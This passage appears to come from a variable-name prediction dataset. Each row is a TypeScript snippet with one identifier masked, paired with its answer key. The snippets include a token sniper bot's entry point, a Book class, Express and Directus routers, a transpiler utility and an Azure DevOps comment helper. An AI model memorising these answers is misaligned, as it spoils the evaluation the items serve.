  const testnet: boolean = Boolean(process.env.TESTNET) ?? false;

  // Throw if missing necessary params
  if (!tokenAddress || ! [MASK]  || !factoryAddress) {
    throw new Error(""Missing necessary parameters"");
  }

  // Initialize sniper
  const sniper = new Sniper(
    tokenAddress,
    factoryAddress,
    rpcEndpoint,
     [MASK] ,
    purchaseAmount,
    gasPrice,
    slippage,
    testnet
  );
  // Wait and snipe pool
  await sniper.snipe();
})();
",privateKey
120,"import { Author } from './author';

export class Book {
    private title: string;
    private author: Author;
    private rating: number;

    constructor(newTitle: string, newAuthor: Author, newRating: number) {
        if (newAuthor === null) {
            throw new Error('El autor no puede ser nulo');
        }
        this.title = newTitle;
        this.author = newAuthor;
        this.rating = newRating;
    }

    public getTitle(): string {
        return this.title;
    }

    public setTitle(title: string): void {
        this.title = title;
    }

    public getAuthor(): Author {
        return this.author;
    }

    public setAuthor(author: Author): void {
        this.author = author;
    }

    public getRating(): number {
        return this.rating;
    }

    /**
     * Change book's rating. We only accept rating values between 0 and 5.
     * @param rating is the new rating value
     */
    public setRating(newRating: number): void {
        if (newRating > 5) {
            this.rating = 5;
        } else if (newRating < 0) {
            this.rating = 0;
        } else {
            this.rating = newRating;
        }
    }

    public equals( [MASK] : Book): boolean {
        return  [MASK]  != null && this.title ===  [MASK] .getTitle() && this.author.equals( [MASK] .getAuthor().getName());
    }

    public titleContains(target: string): boolean {
        return this.title.toLowerCase().indexOf(target.toLowerCase()) != -1;
    }

    public authorContains(target: string): boolean {
        return this.author.getName().toLowerCase().indexOf(target.toLowerCase()) != -1;
    }
}",other
121,"//const express = require('express');
import express, {Router, Express, Request, Response} from ""express""
import CategoriesModel from ""../models/categoryModel""

const categoryRouter:Router = express.Router();

categoryRouter.get('/', async (req:Request, res:Response) => {
    const categories = await CategoriesModel.find().exec();
    const  [MASK]  = categories.map((category:any) => ( {
        id: category.id,
        name: category.name,
    }))
    res.status(200).json({ categories:  [MASK]  });
})

categoryRouter.delete('/:id', async (req:Request, res:Response) => {
    const result = await CategoriesModel.findByIdAndDelete(req.params.id).exec();
    res.status(200).json({ deleted: result });
})

categoryRouter.put('/:id', async (req:Request, res:Response) => {
    var update = {
        name: req.body.name,
    }

    const result = await CategoriesModel.findByIdAndUpdate(req.params.id, update).exec();
    res.status(200).json({ updated: update });
})

categoryRouter.post('/', async (req:Request, res:Response) => {
    const category:InstanceType<typeof CategoriesModel> = new CategoriesModel({
        name: req.body.name,
    });
    await category.save()
    res.status(200).json({ message: category });
})

export default categoryRouter;",returnCategories
122,"import fs from ""fs"";

const dataFile = ""./data.json"";

const checkIfDataFileExists = (): boolean => {
  try {
    return fs.existsSync(dataFile);
  } catch (err) {
    console.error(err);
  }
  return false;
};

const createAndInitDataFile = () => {
  const data = Array.from({ length: 100 }, (_, i) => ({
    name: ""Task "" + (i + 1),
    completed: false,
  }));
  const  [MASK]  = JSON.stringify(data);
  fs.writeFileSync(dataFile,  [MASK] );
};

export const initData = () => {
  if (!checkIfDataFileExists()) {
    createAndInitDataFile();
  }
};

export const getTasks = () => {
  const rawdata = fs.readFileSync(dataFile);
  return JSON.parse(rawdata.toString());
};

export const updateTask = (idx: number, state: boolean) => {
  const tasks = getTasks();
  tasks[idx] = { ...tasks[idx], completed: state };
  const data = JSON.stringify(tasks);
  fs.writeFileSync(dataFile, data);
  return tasks[idx];
};
",jsonData
123,"import * as dartStyle from 'dart-style';
import * as path from 'path';
import * as ts from 'typescript';

import {OutputContext, Transpiler} from './main';

/**
 * Map from identifier name to resolved type.
 * Example: 'E' should map to a TypeNode for number when resolving a usage of MyArray<number>
 * where MyArray is the alias type:
 * type MyArray<E> = Array<T>
 */
export type ResolvedTypeMap = Map<string, ts.TypeNode>;

/***
 * Options for how TypeScript types are represented as Dart types.
 */
export interface TypeDisplayOptions {
  /// We are displaying the type inside a comment so we don't have to restrict to valid Dart syntax.
  /// For example, we can display string literal type using the regular TypeScript syntax.
  ///
  /// Example:
  /// TypeScript type: number|string
  /// Dart inside comment: num|String
  /// Dart outside comment: dynamic /* num|string */
  insideComment?: boolean;

  /// Dart has additional restrictions for what types are valid to emit inside a type argument. For
  /// example, ""void"" is not valid inside a type argument so Null has to be used instead.
  ///
  /// Example:
  /// TypeScript type: Foo<void>
  /// Dart inside type argument: Foo<Null>
  /// Dart outside type argument: N/A
  /// TypeScript type: bar():void
  /// Dart inside type argument: N/A
  /// Dart outside type argument: void bar();
  insideTypeArgument?: boolean;

  /// Indicates that we should not append an additional comment indicating what the true TypeScript
  /// type was for cases where Dart cannot express the type precisely.
  ///
  /// Example:
  /// TypeScript type: number|string
  /// Dart hide comment: dynamic
  /// Dart show comment: dynamic /*number|string*/
  hideComment?: boolean;

  /**
   * Type arguments associated with the current type to display.
   * Arguments are emitted directly in normal cases but in the case of type aliases we have to
   * propagate and substitute type arguments.
   */
  typeArguments?: ts.NodeArray<ts.TypeNode>;

  /**
   * Parameter declarations to substitute. This is required to support type aliases with type
   * arguments that are not representable in Dart.
   */
  resolvedTypeArguments?: ResolvedTypeMap;
}

/**
 * Summary information on what is imported via a particular import.
 */
export class ImportSummary {
  showAll = false;
  shown: Set<String> = new Set();
  asPrefix: string;
}

export type Constructor = ts.ConstructorDeclaration|ts.ConstructSignatureDeclaration;
export type ClassLike = ts.ClassLikeDeclaration|ts.InterfaceDeclaration;

/**
 * Interface extending the true InterfaceDeclaration interface to add optional state we store on
 * interfaces to simplify conversion to Dart classes.
 */
export interface ExtendedInterfaceDeclaration extends ts.InterfaceDeclaration {
  /**
   * The type associated with this interface that we want to treat as the concrete location of this
   * interface to enable interfaces that act like constructors. Because Dart does not permit calling
   * objects like constructors we have to add this workaround.
   */
  constructedType?: ts.InterfaceDeclaration|ts.TypeLiteralNode;
}

export function ident(n: ts.Node): string {
  if (ts.isIdentifier(n) || ts.isStringLiteralLike(n)) {
    return n.text;
  }
  if (ts.isQualifiedName(n)) {
    const leftName = ident(n.left);
    if (leftName) {
      return leftName + '.' + ident(n.right);
    }
  }
  return null;
}

export function isFunctionTypedefLikeInterface(ifDecl: ts.InterfaceDeclaration): boolean {
  return ifDecl.members && ifDecl.members.length === 1 &&
      ts.isCallSignatureDeclaration(ifDecl.members[0]);
}

export function isExtendsClause(heritageClause: ts.HeritageClause) {
  return heritageClause.token === ts.SyntaxKind.ExtendsKeyword &&
      !ts.isInterfaceDeclaration(heritageClause.parent);
}

export function isConstructor(n: ts.Node): n is Constructor {
  return ts.isConstructorDeclaration(n) || ts.isConstructSignatureDeclaration(n);
}

export function isStatic(n: ts.Node): boolean {
  let hasStatic = false;
  ts.forEachChild(n, (child) => {
    if (child.kind === ts.SyntaxKind.StaticKeyword) {
      hasStatic = true;
    }
  });
  return hasStatic;
}

export function isReadonly(n: ts.Node): boolean {
  let hasReadonly = false;
  ts.forEachChild(n, (child) => {
    if (child.kind === ts.SyntaxKind.ReadonlyKeyword) {
      hasReadonly = true;
    }
  });
  return hasReadonly;
}

export function isCallableType(type: ts.TypeNode, tc: ts.TypeChecker): boolean {
  if (isFunctionType(type, tc)) return true;
  if (ts.isTypeReferenceNode(type)) {
    if (tc.getSignaturesOfType(tc.getTypeAtLocation(type), ts.SignatureKind.Call).length > 0)
      return true;
  }
  return false;
}

/**
 * Returns whether a type declaration is on we can generate a named Dart type for.
 * For unsupported alias types we need to manually substitute the expression
 * the alias corresponds to in call sites.
 */
export function supportedTypeDeclaration(decl: ts.Declaration): boolean {
  if (ts.isTypeAliasDeclaration(decl)) {
    let type = decl.type;
    return ts.isTypeLiteralNode(type) || ts.isFunctionTypeNode(type);
  }
  return true;
}

export function isFunctionType(type: ts.TypeNode, tc: ts.TypeChecker): boolean {
  if (ts.isFunctionTypeNode(type)) return true;
  if (ts.isTypeReferenceNode(type)) {
    let t = tc.getTypeAtLocation(type);
    if (t.symbol && t.symbol.flags & ts.SymbolFlags.Function) return true;
  }

  if (ts.isIntersectionTypeNode(type)) {
    let types = type.types;
    for (let i = 0; i < types.length; ++i) {
      if (isFunctionType(types[i], tc)) {
        return true;
      }
    }
    return false;
  }

  if (ts.isUnionTypeNode(type)) {
    let types = type.types;
    for (let i = 0; i < types.length; ++i) {
      if (!isFunctionType(types[i], tc)) {
        return false;
      }
    }
    return true;
  }
  // Warning: if the kind is a reference type and the reference is to an
  // interface that only has a call member we will not return that it is a
  // function type.
  if (ts.isTypeLiteralNode(type)) {
    let members = type.members;
    for (let i = 0; i < members.length; ++i) {
      if (ts.isCallSignatureDeclaration(members[i])) {
        return false;
      }
    }
    return true;
  }
  return false;
}

/**
 * Whether a parameter declaration is specifying information about the type of ""this"" passed to
 * the function instead of being a normal type parameter representable by a Dart type.
 */
export function isThisParameter(param: ts.ParameterDeclaration): boolean {
  return param.name && ts.isIdentifier(param.name) && param.name.text === 'this';
}

/**
 * Dart does not have a concept of binding the type of the ""this"" parameter to a method.
 */
export function filterThisParameter(params: ts.NodeArray<ts.ParameterDeclaration>):
    ts.ParameterDeclaration[] {
  let ret: ts.ParameterDeclaration[] = [];
  for (let i = 0; i < params.length; i++) {
    let param = params[i];
    if (!isThisParameter(param)) {
      ret.push(param);
    }
  }
  return ret;
}

export function isTypeNode(node: ts.Node): boolean {
  switch (node.kind) {
    case ts.SyntaxKind.IntersectionType:
    case ts.SyntaxKind.UnionType:
    case ts.SyntaxKind.ParenthesizedType:
    case ts.SyntaxKind.TypeReference:
    case ts.SyntaxKind.TypeLiteral:
    case ts.SyntaxKind.LastTypeNode:
    case ts.SyntaxKind.LiteralType:
    case ts.SyntaxKind.ArrayType:
    case ts.SyntaxKind.TypeOperator:
    case ts.SyntaxKind.IndexedAccessType:
    case ts.SyntaxKind.MappedType:
    case ts.SyntaxKind.TypePredicate:
    case ts.SyntaxKind.TypeQuery:
    case ts.SyntaxKind.TupleType:
    case ts.SyntaxKind.NumberKeyword:
    case ts.SyntaxKind.StringKeyword:
    case ts.SyntaxKind.VoidKeyword:
    case ts.SyntaxKind.NullKeyword:
    case ts.SyntaxKind.UndefinedKeyword:
    case ts.SyntaxKind.BooleanKeyword:
    case ts.SyntaxKind.AnyKeyword:
    case ts.SyntaxKind.NeverKeyword:
    case ts.SyntaxKind.FunctionType:
    case ts.SyntaxKind.ThisType:
      return true;
    default:
      return false;
  }
}

export function isPromise(type: ts.TypeNode): boolean {
  return type && ts.isTypeReferenceNode(type) && ident(type.typeName) === 'Promise';
}

export function isCallable(decl: ClassLike): boolean {
  let members = decl.members as ReadonlyArray<ts.ClassElement>;
  return members.some((member) => {
    return member.kind === ts.SyntaxKind.CallSignature;
  });
}

export function copyLocation(src: ts.Node, dest: ts.Node) {
  dest.pos = src.pos;
  dest.end = src.end;
  dest.parent = src.parent;
}

export function cloneNodeArray<T extends ts.Node>(src?: ts.NodeArray<T>): ts.NodeArray<T>|
    undefined {
  if (!src) {
    return undefined;
  }
  const clone = ts.createNodeArray(src.map(ts.getMutableClone));
  copyNodeArrayLocation(src, clone);
  return clone;
}

export function copyNodeArrayLocation(src: ts.TextRange, dest: ts.NodeArray<any>) {
  dest.pos = src.pos;
  dest.end = src.end;
}

export function getAncestor(n: ts.Node, kind: ts.SyntaxKind): ts.Node {
  for (let parent = n; parent; parent = parent.parent) {
    if (parent.kind === kind) return parent;
  }
  return null;
}

export function getEnclosingClass(n: ts.Node): ClassLike {
  while (n) {
    if (ts.isClassDeclaration(n) || ts.isInterfaceDeclaration(n)) {
      return <ClassLike>n;
    }
    n = n.parent;
  }
  return null;
}

export function isConstCall(node: ts.CallExpression): boolean {
  return node && ident(node.expression) === 'CONST_EXPR';
}

export function isInsideConstExpr(node: ts.Node): boolean {
  return isConstCall(<ts.CallExpression>getAncestor(node, ts.SyntaxKind.CallExpression));
}

export function getModuleBlock(moduleDecl: ts.ModuleDeclaration): ts.ModuleBlock {
  while (ts.isModuleDeclaration(moduleDecl.body)) {
    moduleDecl = moduleDecl.body;
  }
  if (ts.isModuleBlock(moduleDecl.body)) {
    return moduleDecl.body;
  } else {
    throw new Error('Module body must be a module block.');
  }
}

/**
 * Determine the full module name including dots.
 *
 * e.g. returns 'foo.bar' for a declaration of namespace or module foo.bar
 */
export function getModuleName(moduleDecl: ts.ModuleDeclaration): string {
  let name = moduleDecl.name.text;
  while (ts.isModuleDeclaration(moduleDecl.body)) {
    moduleDecl = moduleDecl.body;
    name += '.' + moduleDecl.name.text;
  }
  return name;
}

export function formatType(s: string, comment: string, options: TypeDisplayOptions): string {
  if (!comment || options.hideComment) {
    return s;
  } else if (options.insideComment) {
    // When inside a comment we only need to emit the comment version which
    // is the syntax we would like to use if Dart supported all language
    // features we would like to use for interop.
    return comment;
  } else {
    let sb = s + '/*';
    // Check if the comment is a valid type name in which case it is safe to use the Dart code
    // written in comments syntax.
    const stubToMakeTypeValidStatement = ' DUMMY_VARIABLE_NAME;';
    comment = comment.trim();
    let statement = comment + stubToMakeTypeValidStatement;
    let result = dartStyle.formatCode(statement);

    if (!result.error) {
      result.code = result.code.trim();
      let expectedStubIndex = result.code.length - stubToMakeTypeValidStatement.length;
      if (result.code.lastIndexOf(stubToMakeTypeValidStatement) === expectedStubIndex) {
        comment = result.code.substring(0, expectedStubIndex).trim();
      }
    }
    sb += comment;
    sb += '*/';
    return sb;
  }
}

export class TranspilerBase {
  private idCounter = 0;
  constructor(protected transpiler: Transpiler) {}

  visit(n: ts.Node) {
    this.transpiler.visit(n);
  }
  pushContext(context: OutputContext) {
    this.transpiler.pushContext(context);
  }
  popContext() {
    this.transpiler.popContext();
  }
  emit(s: string) {
    this.transpiler.emit(s);
  }
  emitNoSpace(s: string) {
    this.transpiler.emitNoSpace(s);
  }
  emitType(s: string, comment: string) {
    this.transpiler.emitType(s, comment);
  }
  maybeLineBreak() {
    return this.transpiler.maybeLineBreak();
  }
  enterCodeComment() {
    return this.transpiler.enterCodeComment();
  }
  exitCodeComment() {
    return this.transpiler.exitCodeComment();
  }
  maybeWrapInCodeComment({shouldWrap = true, newLine = false}, emit: () => void): void {
    if (shouldWrap) {
      this.enterCodeComment();
    }
    emit();
    if (shouldWrap) {
      this.exitCodeComment();
    }
    if (newLine) {
      this.emit('\n');
    }
  }

  enterTypeArguments() {
    this.transpiler.enterTypeArgument();
  }
  exitTypeArguments() {
    this.transpiler.exitTypeArgument();
  }
  get insideTypeArgument() {
    return this.transpiler.insideTypeArgument;
  }

  get insideCodeComment() {
    return this.transpiler.insideCodeComment;
  }

  getImportSummary(libraryUri: string): ImportSummary {
    if (!this.transpiler.imports.has(libraryUri)) {
      let summary = new ImportSummary();
      this.transpiler.imports.set(libraryUri, summary);
      return summary;
    }
    return this.transpiler.imports.get(libraryUri);
  }

  /**
   * Add an import. If an identifier is specified, only show that name.
   */
  addImport(libraryUri: string, identifier?: string): ImportSummary {
    let summary = this.getImportSummary(libraryUri);
    if (identifier) {
      summary.shown.add(identifier);
    } else {
      summary.showAll = true;
    }
    return summary;
  }

  /**
   * Return resolved name possibly including a prefix for the identifier.
   */
  resolveImportForSourceFile(sourceFile: ts.SourceFile, context: ts.SourceFile, identifier: string):
      string {
    if (sourceFile === context) {
      return identifier;
    }
    if (sourceFile.hasNoDefaultLib) {
      // We don't want to emit imports to default lib libraries as we replace with Dart equivalents
      // such as dart:html, etc.
      return identifier;
    }
    const relativePath = path.relative(path.dirname(context.fileName), sourceFile.fileName);
    const fileName = this.getDartFileName(relativePath);
    const identifierParts = identifier.split('.');
    identifier = identifierParts[identifierParts.length - 1];
    const summary = this.addImport(this.transpiler.getDartFileName(fileName), identifier);
    if (summary.asPrefix) {
      return summary.asPrefix + '.' + identifier;
    }
    return identifier;
  }


  reportError(n: ts.Node, message: string) {
    this.transpiler.reportError(n, message);
  }

  visitNode(n: ts.Node): boolean {
    throw new Error('not implemented');
  }

  visitEach(nodes: ts.NodeArray<ts.Node>) {
    nodes.forEach((n) => this.visit(n));
  }

  visitEachIfPresent(nodes?: ts.NodeArray<ts.Node>) {
    if (nodes) this.visitEach(nodes);
  }

  visitList(nodes: ts.NodeArray<ts.Node>,  [MASK] ?: string) {
     [MASK]  =  [MASK]  || ',';
    for (let i = 0; i < nodes.length; i++) {
      this.visit(nodes[i]);
      if (i < nodes.length - 1) this.emitNoSpace( [MASK] );
    }
  }

  /**
   * Returns whether any parameters were actually emitted.
   */
  visitParameterList(nodes: ts.ParameterDeclaration[], namesOnly: boolean): boolean {
    let emittedParameters = false;
    for (let i = 0; i < nodes.length; ++i) {
      let param = nodes[i];
      if (!this.insideCodeComment && isThisParameter(param)) {
        // Emit the this type in a comment as it could be of interest to Dart users who are
        // calling allowInteropCaptureThis to bind a Dart method.
        this.enterCodeComment();
        this.visit(param.type);
        this.emit('this');
        this.exitCodeComment();
        continue;
      }
      if (emittedParameters) {
        this.emitNoSpace(',');
      }
      if (namesOnly) {
        this.emit(ident(param.name));
      } else {
        this.visit(param);
      }
      emittedParameters = true;
    }
    return emittedParameters;
  }

  uniqueId(name: string): string {
    const id = this.idCounter++;
    return `_${name}\$\$js_facade_gen\$${id}`;
  }

  assert(c: ts.Node, condition: boolean, reason: string): void {
    if (!condition) {
      this.reportError(c, reason);
      throw new Error(reason);
    }
  }

  getAncestor(n: ts.Node, kind: ts.SyntaxKind): ts.Node {
    for (let parent = n; parent; parent = parent.parent) {
      if (parent.kind === kind) return parent;
    }
    return null;
  }

  hasAncestor(n: ts.Node, kind: ts.SyntaxKind): boolean {
    return !!getAncestor(n, kind);
  }

  hasAnnotation(decorators: ts.NodeArray<ts.Decorator>, name: string): boolean {
    if (!decorators) return false;
    return decorators.some((d) => {
      let decName = ident(d.expression);
      if (decName === name) return true;
      if (!ts.isCallExpression(d.expression)) return false;
      let callExpr = d.expression;
      decName = ident(callExpr.expression);
      return decName === name;
    });
  }

  hasNodeFlag(n: ts.Declaration, flag: ts.NodeFlags): boolean {
    return n && (ts.getCombinedNodeFlags(n) & flag) !== 0 || false;
  }

  hasModifierFlag(n: ts.Declaration, flag: ts.ModifierFlags): boolean {
    return n && (ts.getCombinedModifierFlags(n) & flag) !== 0 || false;
  }

  getRelativeFileName(fileName: string): string {
    return this.transpiler.getRelativeFileName(fileName);
  }

  getDartFileName(fileName?: string): string {
    return this.transpiler.getDartFileName(fileName);
  }

  maybeVisitTypeArguments(n: {typeArguments?: ts.NodeArray<ts.TypeNode>}) {
    if (n.typeArguments) {
      this.emitNoSpace('<');
      this.enterTypeArguments();
      this.visitList(n.typeArguments);
      this.exitTypeArguments();
      this.emitNoSpace('>');
    }
  }

  visitParameters(parameters: ts.NodeArray<ts.ParameterDeclaration>, {namesOnly = false}) {
    this.emitNoSpace('(');
    let firstInitParamIdx = 0;
    for (; firstInitParamIdx < parameters.length; firstInitParamIdx++) {
      // ObjectBindingPatterns are handled within the parameter visit.
      let isOpt = parameters[firstInitParamIdx].initializer ||
          parameters[firstInitParamIdx].questionToken ||
          parameters[firstInitParamIdx].dotDotDotToken;
      if (isOpt && !ts.isObjectBindingPattern(parameters[firstInitParamIdx].name)) {
        break;
      }
    }

    let hasValidParameters = false;
    if (firstInitParamIdx !== 0) {
      let requiredParams = parameters.slice(0, firstInitParamIdx);
      hasValidParameters = this.visitParameterList(requiredParams, namesOnly);
    }

    if (firstInitParamIdx !== parameters.length) {
      if (hasValidParameters) this.emitNoSpace(',');
      let positionalOptional = parameters.slice(firstInitParamIdx, parameters.length);
      if (!namesOnly) {
        this.emit('[');
      }
      this.visitParameterList(positionalOptional, namesOnly);
      if (!namesOnly) {
        this.emitNoSpace(']');
      }
    }

    this.emitNoSpace(')');
  }
}
",separator
124,"import { applyStyles } from ""@popperjs/core"";
import ""dayjs/locale/zh-cn"";
import locale, {
  ElButton,
  ElMessage,
  ElMessageBox,
  ElNotification,
  ElMenu,
  ElMenuItem,
  ElSubMenu,
  ElBreadcrumb,
  ElBreadcrumbItem,
  ElIcon,
  ElTooltip,
  ElDropdown,
  ElDropdownItem,
  ElDropdownMenu,
} from ""element-plus"";
import ""element-plus/dist/index.css"";
// import ""element-plus/lib/theme-chalk/index.css"";
import ElementPlus from ""element-plus"";
import zhCn from ""element-plus/es/locale/lang/zh-cn"";

import { App } from ""vue"";
export type Size = ""default"" | ""small"" | ""large"" ;

interface ElementOptions{
  size:Size
}

export default (app: App,options:ElementOptions): void => {
  app.use(ElementPlus, {
    locale: zhCn,
  });
  const  [MASK]  = [
    ElButton,
    ElMessage,
    ElNotification,
    ElMessageBox,
    ElMenu,
    ElMenuItem,
    ElSubMenu,
    ElBreadcrumb,
    ElBreadcrumbItem,
    ElIcon,
    ElTooltip,
    ElDropdown,
    ElDropdownItem,
    ElDropdownMenu,
  ];
   [MASK] .forEach((component) => {
    app.use(component);
  });

  app.config.globalProperties.$message = ElMessage;
  app.config.globalProperties.$notify = ElNotification;
  app.config.globalProperties.$confirm = ElMessageBox.confirm;
  app.config.globalProperties.$alert = ElMessageBox.alert;
  app.config.globalProperties.$prompt = ElMessageBox.prompt;

  // element-plus全局配置
  // 说明文档：https://element-plus.gitee.io/#/zh-CN/component/quickstart#quan-ju-pei-zhi
  // 该对象目前支持 size 与 zIndex 字段。size 用于改变组件的默认尺寸 small，zIndex 设置弹框的初始 z-index（默认值：2000）。
  app.config.globalProperties.$ELEMENT = {
    size: options.size,
    // zIndex: 2000 弹框zIndex默认值：2000
  };
};
",components
125,"import { getVariable } from ""azure-pipelines-task-lib"";

enum CommentType {
    Unknown = 0,
    Text = 1,
    CodeChange = 2,
    System = 3
}

interface Thread {
    id: number;
    isDeleted: boolean;
    properties?: Record<string, { $type: string; $value: string }>;
}

interface GetVariablesOptions {
    accessToken?: string;
}

function getVariables({ accessToken }: GetVariablesOptions = {}) {
    return {
        token: accessToken ?? getVariable(""System.AccessToken""),
        collectionUri: getVariable(""System.CollectionUri""),
        repositoryId: getVariable(""Build.Repository.ID""),
        pullRequestId: getVariable(""System.PullRequest.PullRequestId"")
    };
}

interface GetThreadOptions {
    accessToken?: string;
}

async function getThreads({ accessToken }: GetThreadOptions = {}): Promise<Thread[]> {
    const { token, collectionUri, repositoryId, pullRequestId } = getVariables({ accessToken });

    const url = `${collectionUri}/_apis/git/repositories/${repositoryId}/pullRequests/${pullRequestId}/threads?api-version=7.1-preview.1`;

    const response = await fetch(url, {
        headers: {
            ""Authorization"": `Basic ${btoa(`:${token}`)}`
        }
    });

    if (!response.ok) {
        throw new Error(`Failed to fetch threads. Status: ${response.status}`);
    }

    const result = await response.json();

    return result.value ?? [];
}

interface CreateThreadOptions {
    id?: string;
    accessToken?: string;
}

async function createThread(content: string, { id, accessToken }: CreateThreadOptions = {}) {
    const { token, collectionUri, repositoryId, pullRequestId } = getVariables({ accessToken });

    const url = `${collectionUri}/_apis/git/repositories/${repositoryId}/pullRequests/${pullRequestId}/threads?api-version=7.1-preview.1`;

    const response = await fetch(url, {
        method: ""POST"",
        headers: {
            ""Content-Type"": ""application/json"",
            ""Authorization"": `Basic ${btoa(`:${token}`)}`
        },
        body: JSON.stringify({
            status: ""Unknown"",
            properties: { id },
            comments: [
                {
                    commentType: CommentType.CodeChange,
                    content
                }
            ]
        })
    });

    if (!response.ok) {
        throw new Error(`Failed to create thread. Status: ${response.status}`);
    }
}

interface EditThreadOptions {
    accessToken?: string;
}

async function editThread(content: string,  [MASK] : number, commentId: number, { accessToken }: EditThreadOptions = {}) {
    const { token, collectionUri, repositoryId, pullRequestId } = getVariables({ accessToken });

    const url = `${collectionUri}/_apis/git/repositories/${repositoryId}/pullRequests/${pullRequestId}/threads/${ [MASK] }/comments/${commentId}?api-version=7.1-preview.1`;

    const response = await fetch(url, {
        method: ""PATCH"",
        headers: {
            ""Content-Type"": ""application/json"",
            ""Authorization"": `Basic ${btoa(`:${token}`)}`
        },
        body: JSON.stringify({
            commentType: CommentType.CodeChange,
            content
        })
    });

    if (response.status !== 200) {
        throw new Error(`Failed to edit threads. Status: ${response.status}`);
    }
}

export interface PostThreadOptions {
    id?: string;
    accessToken?: string;
}

export async function postThread(content: string, { id, accessToken }: PostThreadOptions = {}) {
    const { pullRequestId } = getVariables();

    // Not running in a PR, so we don't need to post a comment.
    if (!pullRequestId) {
        return;
    }

    try {
        let match: Thread | undefined = undefined;

        if (id) {
            const threads = await getThreads({ accessToken });

            match = threads.find(thread => !thread.isDeleted && thread.properties?.id?.$value === id);
        }

        if (match) {
            await editThread(content, match.id, 1, { accessToken });
        } else {
            await createThread(content, { id, accessToken });
        }
    } catch (error) {
        throw new Error(`Could not post comment. Make sure the Project Collection Build Service Accounts has the 'Contribute to pull requests' permission set to 'Allowed'. ${error}`);
    }
}
",threadId
126,"// @ts-ignore
import type { EndpointConfig, Accountability } from ""@directus/types""
import axios from ""axios""
import { PubSub } from ""@google-cloud/pubsub""
import { randomUUID } from ""crypto""
import { CloudEvent } from ""cloudevents""

const apiPath = process.env.API_PATH
const apiSecret = process.env.API_SECRET

const getAccountability = (req: any) => {
    return req.accountability as Accountability
}

const getUserId = (req: any) => {
    try {
        return getAccountability(req).user ?? null
    } catch {
        return null
    }
}

const postQuery = async (query: string, variables: any) => {
    return await axios.post(
        apiPath + ""admin"",
        {
            query: query,
            variables: variables,
        },
        {
            headers: {
                ""Content-Type"": ""application/json"",
                ""X-Api-Key"": apiSecret,
            },
        }
    )
}

const projectId = process.env.PUBSUB_PROJECT_ID
const topicId = process.env.PUBSUB_TOPIC_ID
const pubsubEnabled = process.env.PUBSUB_ENABLED !== ""false""
const pubsub = pubsubEnabled ? new PubSub({
    projectId,
}) : null;

const endpointConfig: EndpointConfig = {
    id: ""tools"",
    handler: ( [MASK] ) => {
         [MASK] .post(""/preview/collection"", async (req, res) => {
            const userId = getUserId(req)
            if (userId == null) {
                res.status(401).send(""Unauthenticated"")
                return
            }
            const filter = req.body.filter

            try {
                const body = `query($filter: String!) {
    preview {
        collection(filter: $filter) {
            items {
                id
                collection
                title
            }
        }
    }
}`

                const result = await postQuery(body, {
                    filter: JSON.stringify(filter),
                })

                res.send(result.data.data.preview.collection.items)
                return
            } catch (e) {
                console.log(e)
                console.log(""Couldn't fetch data from API"")
            }

            res.status(500).send(
                JSON.stringify({
                    error: ""Couldn't fetch data from API"",
                })
            )
        })

         [MASK] .get(""/preview/asset/:assetId"", async (req, res) => {
            const userId = getUserId(req)
            if (userId == null) {
                res.status(401).send(""Unauthenticated"")
                return
            }

            try {
                const body = `query($assetId: ID!) {
    preview {
        asset(id: $assetId) {
            url
            type
        }
    }
}`

                const result = await postQuery(body, {
                    assetId: req.params[""assetId""],
                })

                res.status(200).send(result.data.data.preview.asset)
                return
            } catch {
                console.log(""Couldn't fetch data from API"")
            }

            res.status(500).send(
                JSON.stringify({
                    error: ""Couldn't fetch data from API"",
                })
            )
        })

         [MASK] .post(""/timedmetadata/import"", async (req: any, res: any) => {
            const userId = getUserId(req)
            if (userId == null) {
                res.status(401).send(""Unauthenticated"")
                return
            }

            const { collection, itemId } = req.body as {
                collection: string;
                itemId: string
            }

            try {
                if (collection == ""episodes"") {
                    const body = `query($episodeId: ID!) {
    episodes {
        importTimedMetadata(episodeId: $episodeId)
    }
}`
                    const result = await postQuery(body, {
                        episodeId: itemId,
                    })

                    console.log(result.data)

                    res.status(200).send(
                        result.data.data.episodes.importTimedMetadata
                    )
                } else if (collection === ""mediaitems"") {
                    const body = `query($mediaItemId: ID!) {
    mediaItems {
        importTimedMetadata(mediaItemId: $mediaItemId)
    }
}`
                    const result = await postQuery(body, {
                        mediaItemId: itemId,
                    })

                    console.log(result.data)

                    res.status(200).send(
                        result.data.data.mediaItems.importTimedMetadata
                    )
                }
                return
            } catch (e) {
                console.log(""Couldn't fetch data from API"")
                console.error(e)
            }

            res.status(500).send(
                JSON.stringify({
                    error: ""Couldn't fetch data from API"",
                })
            )
        })

         [MASK] .get(""/filters/refresh"", async (req, res) => {
            const userId = getUserId(req)
            if (userId == null) {
                res.status(401).send(""Unauthenticated"")
                return
            }

            const topic = pubsub?.topic(topicId!)

            const event = new CloudEvent({
                specversion: ""1.0"",
                id: randomUUID(),
                type: ""view.refresh"",
                source: ""directus"",
                datacontenttype: ""application/json"",
                data: {
                    viewName: ""filter_dataset"",
                    force: false,
                },
            })

            await topic?.publishMessage({
                data: Buffer.from(JSON.stringify(event)),
            })

            res.status(200).send()
        })

         [MASK] .get(""/translations/sync"", async (req, res) => {
            const userId = getUserId(req)
            if (userId == null) {
                res.status(401).send(""Unauthenticated"")
                return
            }

            const topic = pubsub?.topic(topicId!)

            const event = new CloudEvent({
                specversion: ""1.0"",
                id: randomUUID(),
                type: ""translations.sync"",
                source: ""directus"",
                datacontenttype: ""application/json"",
            })

            await topic?.publishMessage({
                data: Buffer.from(JSON.stringify(event)),
            })

            res.status(200).send()
        })
    },
}

export default endpointConfig
",router
127,"import { graceData } from './data/grace-data';
import { gldasData } from './data/gldas-data';

export interface Env {
  // Environment bindings
}

// CORS headers for all responses
const corsHeaders = {
  'Access-Control-Allow-Origin': '*',
  'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
  'Access-Control-Allow-Headers': 'Content-Type',
};

// Helper function to create JSON response with CORS
function jsonResponse(data: any, status = 200) {
  return new Response(JSON.stringify(data), {
    status,
    headers: {
      'Content-Type': 'application/json',
      ...corsHeaders,
    },
  });
}

// Calculate statistics for data
function calculateStats(data: number[]) {
  const mean = data.reduce((a, b) => a + b, 0) / data.length;
  const min = Math.min(...data);
  const max = Math.max(...data);
  return { mean, min, max };
}

// Calculate trend (simple linear regression)
function calculateTrend(data: { date: string; value: number }[]) {
  const n = data.length;
  if (n === 0) return { slope: 0, intercept: 0 };
  
  // Convert dates to numeric values (days since first date)
  const firstDate = new Date(data[0].date).getTime();
  const x = data.map(d => (new Date(d.date).getTime() - firstDate) / (1000 * 60 * 60 * 24));
